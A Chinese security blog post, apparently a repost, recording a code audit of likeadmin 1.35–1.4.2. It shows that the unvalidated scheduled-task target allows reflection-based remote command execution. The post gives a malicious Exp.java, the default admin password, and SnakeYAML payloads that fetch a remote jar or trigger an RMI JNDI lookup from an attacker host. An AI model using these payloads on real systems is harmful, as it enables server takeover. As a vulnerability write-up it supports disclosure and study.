千寻笔记:一次简单的灰盒挖掘记录

admin 2024年11月14日23:39:57评论23 views字数 2964阅读9分52秒阅读模式

最近在学习代码审计,偶然想到了一个我之前见过的开源系统,就顺手分析了一下它的漏洞。各位大佬轻喷啊。

影响范围:1.35<=likeadmin<=1.4.2

简要描述:后台定时任务处,对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。(参考若依漏洞复现过程)

利用步骤:
DISEASE PREVENTION
01

制作恶意类

(也可以参看若依的利用方式远程调用jar)

Exp.java文件代码,直接用记事本写

import java.lang.Runtime;import java.lang.Process;// 注意不要写packagepublic class Exp {static {try{// 要执行的命令String commands = "*******";Process pc = Runtime.getRuntime().exec(commands);pc.waitFor();} catch(Exception e){e.printStackTrace();}}}
02
命令行javac Exp.java得到Exp.class

命令行再运行python -m http.server [port]将当前文件夹放到http服务上,然后启动RMILDAP服务。

03
添加计划任务

登录进入后台(默认密码admin/123456),然后进入系统设置/系统维护/定时任务/新增,添加计划任务。

千寻笔记:一次简单的灰盒挖掘记录

调用目标字符串"输入YAML语句:

org.yaml.snakeyaml.Yaml.load('!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "rmi://****** /t", autoCommit: true}')

千寻笔记:一次简单的灰盒挖掘记录

计划任务执行完成之后就能收到的dnslog请求

千寻笔记:一次简单的灰盒挖掘记录

代码审计过程
DISEASE PREVENTION
01
代码逻辑

当我们添加并执行计划任务时,likeadmin会调用com.mdd.admin.config.quartz#InvokeUtils解析并执行我们传入的数据,这里的代码逻辑:
beanName #获取传入的类名;
methodName #获取传入的方法名;
methodParams #获取传入方法的参数,如果参数异常会报错;
接着判断传入的类名是否有效,有效的话就会调用Class.forName(beanName).newInstance();进行实例化,然后运行invokeMethod(bean, methodName, methodParams); 执行该类对应的方法

千寻笔记:一次简单的灰盒挖掘记录

判断逻辑:是否含有小数点

千寻笔记:一次简单的灰盒挖掘记录

千寻笔记:一次简单的灰盒挖掘记录

传入一串如下数据,然后调试一下

java.lang.qianxun.func('xtgg')

千寻笔记:一次简单的灰盒挖掘记录

我们传入的是java.lang.qianxun.func('xtgg')

beanName = "java.lang.qianxun"

methodName = "func"

methodParams = "xtgg"

最终执行的反射代码为:

Class.forName("java.lang.qianxun").getDeclaredMethod("func",String.class).invoke(Class.forName("java.lang.qianxun").newInstance(),"xtgg")

千寻笔记:一次简单的灰盒挖掘记录

02
反射Runtime失败

想要通过该反射执行命令,想到使用

java.lang.Runtime.getRuntime().exec(“”)

若使用该payload,则会跳到JobInvokeUtil.java的这段代码中。

Object bean = Class.forName(beanName).newInstance();invokeMethod(bean,methodName, methodParams);

想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数,所以为了实现getshell,我们需要控制类、方法和参数的反射。传入一个可执行命令的类方法,就能实现目标。该类只需要具有以下两个要求即可:

public类型的无参构造方法。

public类型且可执行命令的方法。

再参考ruoyi框架的利用方式_org.yaml.snakeyaml.Yaml _满足这些条件.

import org.yaml.snakeyaml.Yaml;import java.lang.reflect.InvocationTargetException;public class YamlDemo {   public static void main(String[] args) throws ClassNotFoundExceptionIllegalAccessExceptionInstantiationException,NoSuchMethodExceptionInvocationTargetException {       Yaml yaml = new Yaml();       yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL['http://1.1.1.1:2333/Demo.jar']]]]");       //yaml.load("!!com.sun.rowset.JdbcRowSetImpl{dataSourceName: 'rmi://127.0.0.1:9999/t', autoCommit: true}");       //Class.forName("org.yaml.snakeyaml.Yaml").getMethod("load",String.class).invoke(Class.forName("org.yaml.snakeyaml.Yaml").newInstance(),"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader[[!!java.net.URL ['http://192.168.3.3:2333/Demo.jar']]]]");   }}
03
利用payload

和若依不同的是likeadmin调用RMI不会报错,所以构造出最终传入的payload为:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://*******/yaml-payload.jar"]]]]')
org.yaml.snakeyaml.Yaml.load('!!com.sun.rowset.JdbcRowSetImpl{dataSourceName: "rmi://****** /t", autoCommit: true}')
监制:船长、铁子   策划:格纸   文案:青柠   美工:青柠

原文始发于微信公众号(千寻安服):千寻笔记:一次简单的灰盒挖掘记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月14日23:39:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   千寻笔记:一次简单的灰盒挖掘记录https://cn-sec.com/archives/1653785.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息